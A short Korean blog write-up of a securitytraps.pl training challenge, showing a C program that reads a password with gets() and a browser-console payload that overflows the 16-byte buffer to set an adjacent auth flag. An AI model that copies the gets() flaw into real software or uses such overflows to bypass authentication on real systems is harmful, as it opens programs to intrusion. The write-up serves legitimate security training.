Write-up
[securitytraps.pl] Exploits/Riddles Training writeup
ch4rli3kop
2019. 5. 1. 17:04
반응형
[summary] bof
Training
Here is a piece of code:
int main(int argc, char **argv)
{
unsigned char auth = 0;
char pass[16];
gets(pass);
if(validate(pass)) auth = 1;
puts(auth==1?solution():"Bad password!");
return 0;
}
Input:
Run!
Output: Bad password!
Segmentation fault
간단한 bof 문제이다. validate를 모르기 때문에, auth
를 1로 만들기 위해서는 gets 함수에서 덮어쓰는 방법밖에 없을 것이다.
스택의 상황은 다음과 같다.
stack |
---|
pass[16]... |
0 | 0 | 0 | auth |
ebp |
ret |
auth
가 unsigned char으로 선언되어 있으므로 앞 공간들을 0으로 채워야 한다.
> document.getElementById('f')[0].value = 'AAAAAAAAAAAAAAAA'+'\x00\x00\x00\x01'
> document.getElementById('f').submit()
반응형